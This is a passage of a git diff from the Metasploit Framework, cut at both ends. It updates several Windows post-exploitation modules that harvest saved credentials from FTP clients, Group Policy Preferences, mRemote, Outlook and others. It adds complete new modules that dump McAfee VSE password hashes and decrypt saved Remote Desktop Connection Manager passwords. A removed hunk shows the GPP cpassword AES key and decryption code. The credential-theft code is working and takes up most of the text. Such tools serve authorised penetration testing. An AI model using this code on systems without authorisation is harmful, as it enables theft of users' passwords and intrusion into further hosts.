nil - end - report_auth_info( - :host => host, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => passwd) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end rescue print_status("Either could not find or could not open file #{filename}") diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb index f232b8d85d..55c98131a2 100644 --- a/modules/post/windows/gather/credentials/ftpnavigator.rb +++ b/modules/post/windows/gather/credentials/ftpnavigator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -67,20 +67,32 @@ class Metasploit3 < Msf::Post end print_good("Host: #{server} Port: #{port} User: #{username} Pass: #{dpass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => server, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => dpass - ) + service_data = { + address: Rex::Socket.getaddress(server), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: dpass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index 49b8e01e9b..0423d9d277 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -72,19 +72,32 @@ class Metasploit3 < Msf::Post print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'") # save results to the db - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index e50e721059..3c5dc71b14 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -1,18 +1,18 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'rex' -require 'rexml/document' require 'msf/core/auxiliary/report' +require 'rex/parser/group_policy_preferences' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry + include Msf::Post::Windows::NetAPI def initialize(info={}) super( update_info( info, @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' =>[ - 'Ben Campbell ', + 'Ben Campbell', 'Loic Jaquemet ', 'scriptmonkey ', 'theLightCosine', @@ -41,7 +41,8 @@ class Metasploit3 < Msf::Post ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'], - ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'] + ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'], + ['MSB', 'MS14-025'] ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] @@ -67,16 +68,11 @@ class Metasploit3 < Msf::Post domains = [] basepaths = [] fullpaths = [] - cached_domain_controller = nil print_status "Checking for group policy history objects..." - # Windows XP environment variable points to the correct folder. - # Windows Vista and upwards points to ProgramData! - all_users = expand_path("%ALLUSERSPROFILE%") + all_users = get_env("%ALLUSERSPROFILE%") - if all_users.include? 'ProgramData' - all_users.gsub!('ProgramData','Users\\All Users') - else + unless all_users.include? 'ProgramData' all_users = "#{all_users}\\Application Data" end @@ -209,7 +205,7 @@ class Metasploit3 < Msf::Post xml_path = "#{path}#{xml_path}" begin return xml_path if exist? xml_path - rescue Rex::Post::Meterpreter::RequestError => e + rescue Rex::Post::Meterpreter::RequestError # No permissions for this specific file. return nil end @@ -223,7 +219,7 @@ class Metasploit3 < Msf::Post retobj = { :dc => spath[2], :path => path, - :xml => REXML::Document.new(data).root + :xml => data } if spath[4] == "sysvol" retobj[:domain] = spath[5] @@ -240,157 +236,73 @@ class Metasploit3 < Msf::Post def parse_xml(xmlfile) mxml = xmlfile[:xml] print_status "Parsing file: #{xmlfile[:path]} ..." - filetype = xmlfile[:path].split('\\').last() - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - pass = decrypt(epassword) + filetype = File.basename(xmlfile[:path].gsub("\\","/")) + results = Rex::Parser::GPP.parse(mxml) - user = node.attributes['runAs'] if node.attributes['runAs'] - user = node.attributes['accountName'] if node.attributes['accountName'] - user = node.attributes['username'] if node.attributes['username'] - user = node.attributes['userName'] if node.attributes['userName'] - user = node.attributes['newName'] unless node.attributes['newName'].blank? - changed = node.parent.attributes['changed'] - - # Printers and Shares - path = node.attributes['path'] - - # Datasources - dsn = node.attributes['dsn'] - driver = node.attributes['driver'] - - # Tasks - app_name = node.attributes['appName'] - - # Services - service = node.attributes['serviceName'] - - # Groups - expires = node.attributes['expires'] - never_expires = node.attributes['neverExpires'] - disabled = node.attributes['acctDisabled'] - - table = Rex::Ui::Text::Table.new( - 'Header' => 'Group Policy Credential Info', - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => - [ - 'Name', - 'Value', - ] - ) - - table << ["TYPE", filetype] - table << ["USERNAME", user] - table << ["PASSWORD", pass] - table << ["DOMAIN CONTROLLER", xmlfile[:dc]] - table << ["DOMAIN", xmlfile[:domain] ] - table << ["CHANGED", changed] - table << ["EXPIRES", expires] unless expires.blank? - table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank? - table << ["DISABLED", disabled] unless disabled.blank? - table << ["PATH", path] unless path.blank? - table << ["DATASOURCE", dsn] unless dsn.blank? - table << ["DRIVER", driver] unless driver.blank? - table << ["TASK", app_name] unless app_name.blank? - table << ["SERVICE", service] unless service.blank? - - node.elements.each('//Attributes//Attribute') do |dsn_attribute| - table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"] - end + tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc]) + tables.each do |table| print_good table.to_s + end + results.each do |result| if datastore['STORE'] stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path]) print_status("XML file saved to: #{stored_path}") + print_line end - report_creds(user,pass) unless disabled and disabled == '1' + report_creds(result[:USER], result[:PASS], result[:DISABLED]) end end - def report_creds(user, pass) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end + def report_creds(user, password, disabled) + service_data = { + address: session.session_host, + port: 445, + protocol: "tcp", + service_name: "smb", + workspace_id: myworkspace_id + } - report_auth_info( - :host => session.sock.peerhost, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) - end + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: password, + private_type: :password + } - def decrypt(encrypted_data) - padding = "=" * (4 - (encrypted_data.length % 4)) - epassword = "#{encrypted_data}#{padding}" - decoded = Rex::Text.decode_base64(epassword) + credential_core = create_credential(credential_data.merge(service_data)) - key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" - aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") - aes.decrypt - aes.key = key - plaintext = aes.update(decoded) - plaintext << aes.final - pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } - return pass + create_credential_login(login_data.merge(service_data)) end def enum_domains - domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM - buffersize = 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) - # Estimate new buffer size on percentage recovered. - percent_found = (result['entriesread'].to_f/result['totalentries'].to_f) - if percent_found > 0 - buffersize = (buffersize/percent_found).to_i - else - buffersize += 500 - end - - while result['return'] == 234 - buffersize = buffersize + 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) - end - - count = result['totalentries'] - print_status("#{count} Domain(s) found.") - startmem = result['bufptr'] - - base = 0 domains = [] + results = net_server_enum(SV_TYPE_DOMAIN_ENUM) - if count == 0 - return domains + if results + results.each do |domain| + domains << domain[:name] + end + + domains.uniq! + print_status("Retrieved Domain(s) #{domains.join(', ')} from network") end - mem = client.railgun.memread(startmem, 8*count) - - count.times do |i| - x = {} - x[:platform] = mem[(base + 0),4].unpack("V*")[0] - nameptr = mem[(base + 4),4].unpack("V*")[0] - x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join - domains << x[:domain] - base = base + 8 - end - - domains.uniq! - print_status "Retrieved Domain(s) #{domains.join(', ')} from network" - return domains + domains end def enum_dcs(domain) + hostnames = nil # Prevent crash if FQDN domain names are searched for or other disallowed characters: # http://support.microsoft.com/kb/909264 \/:*?"<>| if domain =~ /[:\*?"<>\\\/.]/ @@ -399,34 +311,19 @@ class Metasploit3 < Msf::Post end print_status("Enumerating DCs for #{domain} on the network...") - domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) - buffersize = 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) - while result['return'] == 234 - buffersize = buffersize + 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) - end - if result['totalentries'] == 0 + results = net_server_enum(SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL, domain) + + if results.blank? print_error("No Domain Controllers found for #{domain}") - return nil + else + hostnames = [] + results.each do |dc| + print_good "DC Found: #{dc[:name]}" + hostnames << dc[:name] + end end - count = result['totalentries'] - startmem = result['bufptr'] - - base = 0 - mem = client.railgun.memread(startmem, 8*count) - hostnames = [] - count.times{|i| - t = {} - t[:platform] = mem[(base + 0),4].unpack("V*")[0] - nameptr = mem[(base + 4),4].unpack("V*")[0] - t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join - base = base + 8 - print_good "DC Found: #{t[:dc_hostname]}" - hostnames << t[:dc_hostname] - } - return hostnames + hostnames end # We use this for the odd test case where a DC is unable to be enumerated from the network diff --git a/modules/post/windows/gather/credentials/idm.rb b/modules/post/windows/gather/credentials/idm.rb index e61b43a33a..cd1d938a23 100644 --- a/modules/post/windows/gather/credentials/idm.rb +++ b/modules/post/windows/gather/credentials/idm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/imail.rb b/modules/post/windows/gather/credentials/imail.rb index b628cf24cb..db8a566a30 100644 --- a/modules/post/windows/gather/credentials/imail.rb +++ b/modules/post/windows/gather/credentials/imail.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/imvu.rb b/modules/post/windows/gather/credentials/imvu.rb index 256e507b46..239eb67dd2 100644 --- a/modules/post/windows/gather/credentials/imvu.rb +++ b/modules/post/windows/gather/credentials/imvu.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb new file mode 100644 index 0000000000..818fdf2361 --- /dev/null +++ b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb @@ -0,0 +1,123 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Auxiliary::Report + include Msf::Post::Windows::UserProfiles + + VERSION_5 = Gem::Version.new('5.0') + VERSION_6 = Gem::Version.new('6.0') + VERSION_8 = Gem::Version.new('8.0') + VERSION_9 = Gem::Version.new('9.0') + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', + 'Description' => %q( + This module extracts the password hash from McAfee Virus Scan + Enterprise (VSE) used to lock down the user interface. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'Mike Manzotti ', # Metasploit module + 'Maurizio inode Agazzini' # original research + ], + 'References' => [ + ['URL', 'https://www.dionach.com/blog/disabling-mcafee-on-access-scanning'] + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + print_status("Looking for McAfee VSE password hashes on #{sysinfo['Computer']} ...") + + vse_keys = enum_vse_keys + if vse_keys.empty? + vprint_error("McAfee VSE not installed or insufficient permissions") + return + end + + hashes_and_versions = extract_hashes_and_versions(vse_keys) + if hashes_and_versions.empty? + vprint_error("No McAfee VSE hashes extracted") + return + end + process_hashes_and_versions(hashes_and_versions) + end + + def enum_vse_keys + vprint_status('Enumerating McAfee VSE installations') + keys = [] + [ + 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit + 'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit + ].each do |key| + subkeys = registry_enumkeys(key) + keys << key unless subkeys.nil? + end + keys + end + + def extract_hashes_and_versions(keys) + vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations") + hash_map = {} + keys.each do |key| + hash = registry_getvaldata(key, "UIPEx") + if hash.empty? + vprint_error("No McAfee VSE password hash found in #{key}") + next + end + + version = registry_getvaldata(key, "szProductVer") + if version.empty? + vprint_error("No McAfee VSE version key found in #{key}") + next + end + hash_map[hash] = Gem::Version.new(version) + end + hash_map + end + + def process_hashes_and_versions(hashes_and_versions) + hashes_and_versions.each do |hash, version| + if version >= VERSION_5 && version < VERSION_6 + hashtype = 'md5u' + version_name = 'v5' + else + # Base64 decode hash + hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), "") + hashtype = 'dynamic_1405' + version_name = 'v8' + unless version >= VERSION_8 && version < VERSION_9 + print_warning("Unknown McAfee VSE version #{version} - Assuming v8") + end + end + + print_good("McAfee VSE #{version_name} (#{hashtype}) password hash: #{hash}") + + credential_data = { + post_reference_name: refname, + origin_type: :session, + private_type: :nonreplayable_hash, + private_data: hash, + session_id: session_db_id, + jtr_format: hashtype, + workspace_id: myworkspace_id + } + + create_credential(credential_data) + + # Store McAfee password hash as loot + loot_path = store_loot('mcafee.hash', 'text/plain', session, "mcafee:#{hash}", 'mcafee_hashdump.txt', 'McAfee Password Hash') + print_status("McAfee VSE password hash saved in: #{loot_path}") + end + end +end diff --git a/modules/post/windows/gather/credentials/meebo.rb b/modules/post/windows/gather/credentials/meebo.rb index f7a89cb27b..b8300534e6 100644 --- a/modules/post/windows/gather/credentials/meebo.rb +++ b/modules/post/windows/gather/credentials/meebo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index bf73a554b8..6658d6c797 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,10 +10,10 @@ require 'rexml/document' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post + include Msf::Post::File include Msf::Post::Windows::UserProfiles include Msf::Auxiliary::Report - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather mRemote Saved Password Extraction', @@ -41,25 +41,25 @@ class Metasploit3 < Msf::Post grab_user_profiles().each do |user| next if user['LocalAppData'] == nil - tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml' + tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml' + ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml' get_xml(tmpath) + get_xml(ng_path) end end def get_xml(path) - condata="" + print_status("Looking for #{path}") begin - xmlexists = client.fs.file.stat(path) - connections = client.fs.file.new(path,'r') - until connections.eof - condata << connections.read + if file_exist?(path) + condata = read_file(path) + parse_xml(condata) + print_status("Finished processing #{path}") end - parse_xml(condata) - print_status("Finished processing #{path}") - rescue + rescue Rex::Post::Meterpreter::RequestError print_status("The file #{path} either could not be read or does not exist") + return end - end def parse_xml(data) @@ -73,25 +73,49 @@ class Metasploit3 < Msf::Post user = node.attributes['Username'] domain = node.attributes['Domain'] epassword= node.attributes['Password'] - next if epassword == nil or epassword== "" + next if epassword == nil || epassword == "" + decoded = epassword.unpack("m*")[0] - iv= decoded.slice!(0,16) - pass=decrypt(decoded, @secret , iv, "AES-128-CBC") + iv = decoded.slice!(0,16) + pass = decrypt(decoded, @secret , iv, "AES-128-CBC") print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}") - user= "#{domain}\\#{user}" unless domain.nil? or domain.empty? - if session.db_record - source_id = session.db_record.id - else - source_id = nil + + service_data = { + address: host, + port: port, + service_name: proto, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + if domain.present? + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = domain end - report_auth_info( - :host => host, - :port => port, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) end end diff --git a/modules/post/windows/gather/credentials/nimbuzz.rb b/modules/post/windows/gather/credentials/nimbuzz.rb index c9e0c48025..642920b371 100644 --- a/modules/post/windows/gather/credentials/nimbuzz.rb +++ b/modules/post/windows/gather/credentials/nimbuzz.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index e03448e5e9..bca5db7416 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -54,7 +54,6 @@ class Metasploit3 < Msf::Post addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - #print_status("#{ret.inspect}") len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") @@ -126,7 +125,7 @@ class Metasploit3 < Msf::Post print_good("Account Found:") print_status(" Type: #{type}") print_status(" User Display Name: #{displayname}") - print_status(" User E-mail Address: #{email}") + print_status(" User Email Address: #{email}") if type == "POP3" pop3_pw = get_valdata(k, 'POP3 Password') @@ -141,7 +140,7 @@ class Metasploit3 < Msf::Post pop3_pw.slice!(0,1) pass = decrypt_password(pop3_pw) print_status(" User Password: #{pass}") - # Prepare data for report_auth_info + # Prepare data for creds got_user_pw = 1 host = pop3_server user = pop3_user @@ -215,7 +214,7 @@ class Metasploit3 < Msf::Post host = http_server_url user = http_user - #Detect 80 or 443 for report_auth_info + #Detect 80 or 443 for creds http_server_url.downcase! if http_server_url.include? "h\x00t\x00t\x00p\x00s" portnum = 443 @@ -303,37 +302,61 @@ class Metasploit3 < Msf::Post end if got_user_pw == 1 - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => type, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) - #print_status("CHK report_auth_info: host = #{host}, port= #{portnum}, sname= #{type}, user= #{user}, pass= #{pass}") + service_data = { + address: Rex::Socket.getaddress(host), + port: portnum, + protocol: "tcp", + service_name: type, + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end if smtp_use_auth != nil - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => smtp_server, - :port => smtp_port, - :sname => "smtp", - :source_id => source_id, - :source_type => "exploit", - :user => smtp_user, - :pass => smtp_decrypted_password) - #print_status("SMTP report_auth_info: host = #{smtp_server}, port= #{smtp_port}, sname= SMTP, user= #{smtp_user}, pass= #{smtp_decrypted_password}") + service_data = { + address: Rex::Socket.getaddress(smtp_server), + port: smtp_port, + protocol: "tcp", + service_name: "smtp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: smtp_user, + private_data: smtp_decrypted_password, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end print_status("") diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index 0e87b99099..8fd16f920e 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 7e5fc7dfa1..401b664029 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/rdc_manager_creds.rb b/modules/post/windows/gather/credentials/rdc_manager_creds.rb new file mode 100644 index 0000000000..45f0e8ed0d --- /dev/null +++ b/modules/post/windows/gather/credentials/rdc_manager_creds.rb @@ -0,0 +1,218 @@ +# -*- coding: binary -*- + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'rexml/document' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::UserProfiles + include Msf::Post::Windows::Priv + include Msf::Auxiliary::Report + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Remote Desktop Connection Manager Saved Password Extraction', + 'Description' => %q{ + This module extracts and decrypts saved Microsoft Remote Desktop + Connection Manager (RDCMan) passwords the .RDG files of users. + The module will attempt to find the files configured for all users + on the target system. Passwords for managed hosts are encrypted by + default. In order for decryption of these passwords to be successful, + this module must be executed under the same account as the user which + originally encrypted the password. Passwords stored in plain text will + be captured and documented. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tom Sellers '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + if is_system? + uid = session.sys.config.getuid + print_warning("This module is running under #{uid}.") + print_warning("Automatic decryption of encrypted passwords will not be possible.") + print_warning("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).") + end + + settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings' + profiles = grab_user_profiles + + profiles.each do |user| + next if user['LocalAppData'].nil? + settings_path = "#{user['LocalAppData']}\\#{settings_file}" + next unless file?(settings_path) + print_status("Found settings for #{user['UserName']}.") + + settings = read_file(settings_path) + connection_files = settings.scan(/string>(.*?)<\/string/) + + connection_files.each do |con_f| + next unless session.fs.file.exists?(con_f[0]) + print_status("\tOpening RDC Manager server list: #{con_f[0]}") + connection_data = read_file(con_f[0]) + if connection_data + parse_connections(connection_data) + else + print_error("\tUnable to open RDC Manager server list: #{con_f[0]}") + next + end + end + end + end + + def decrypt_password(data) + rg = session.railgun + rg.add_dll('crypt32') unless rg.get_dll('crypt32') + + pid = client.sys.process.getpid + process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + + mem = process.memory.allocate(128) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid && i["arch"] == "x86"} + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + addr = [mem].pack("Q") + len = [data.length].pack("Q") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + len, addr = ret["pDataOut"].unpack("Q2") + end + + return "" if len == 0 + decrypted_pw = process.memory.read(addr, len) + return decrypted_pw + end + + def extract_password(object) + if object.name == 'server' + logon_creds = object.elements['logonCredentials'] + elsif object.elements['properties'] && object.elements['properties'].elements['logonCredentials'] + logon_creds = object.elements['properties'].elements['logonCredentials'] + else + return nil, nil, nil + end + + if logon_creds.attributes['inherit'] == "None" + # The credentials are defined directly on the server + username = logon_creds.elements['userName'].text + domain = logon_creds.elements['domain'].text + if logon_creds.elements['password'].attributes['storeAsClearText'] == "True" + password = logon_creds.elements['password'].text + else + crypted_pass = Rex::Text.decode_base64(logon_creds.elements['password'].text) + password = decrypt_password(crypted_pass) + password = Rex::Text.to_ascii(password) + if password.blank? + print_warning("\tUnable to decrypt password, try migrating to a process running as the file's owner.") + end + end + + elsif logon_creds.attributes['inherit'] == "FromParent" + # The credentials are inherited from a parent + parent = object.parent + username, password, domain = extract_password(parent) + end + + return username, password, domain + end + + def parse_connections(connection_data) + doc = REXML::Document.new(connection_data) + + # Process all of the server records + doc.elements.each("//server") do |server| + svr_name = server.elements['name'].text + username, password, domain = extract_password(server) + if server.elements['connectionSettings'].attributes['inherit'] == "None" + port = server.elements['connectionSettings'].elements['port'].text + else + port = 3389 + end + + print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}") + register_creds(svr_name, username, password, domain, port) if password || username + end + + # Process all of the gateway elements, irrespective of server + doc.elements.each("//gatewaySettings") do |gateway| + next unless gateway.attributes['inherit'] == "None" + svr_name = gateway.elements['hostName'].text + username = gateway.elements['userName'].text + domain = gateway.elements['domain'].text + + if gateway.elements['password'].attributes['storeAsClearText'] == "True" + password = gateway.elements['password'].text + else + crypted_pass = Rex::Text.decode_base64(gateway.elements['password'].text) + password = decrypt_password(crypted_pass) + password = Rex::Text.to_ascii(password) + end + + parent = gateway.parent + if parent.elements['connectionSettings'].attributes['inherit'] == "None" + port = parent.elements['connectionSettings'].elements['port'].text + else + port = 3389 + end + + print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}") + register_creds(svr_name, username, password, domain, port) if password || username + end + end + + def register_creds(host_ip, user, pass, realm, port) + # Note that entries added by hostname instead of IP will not + # generate complete records. See discussion here: + # 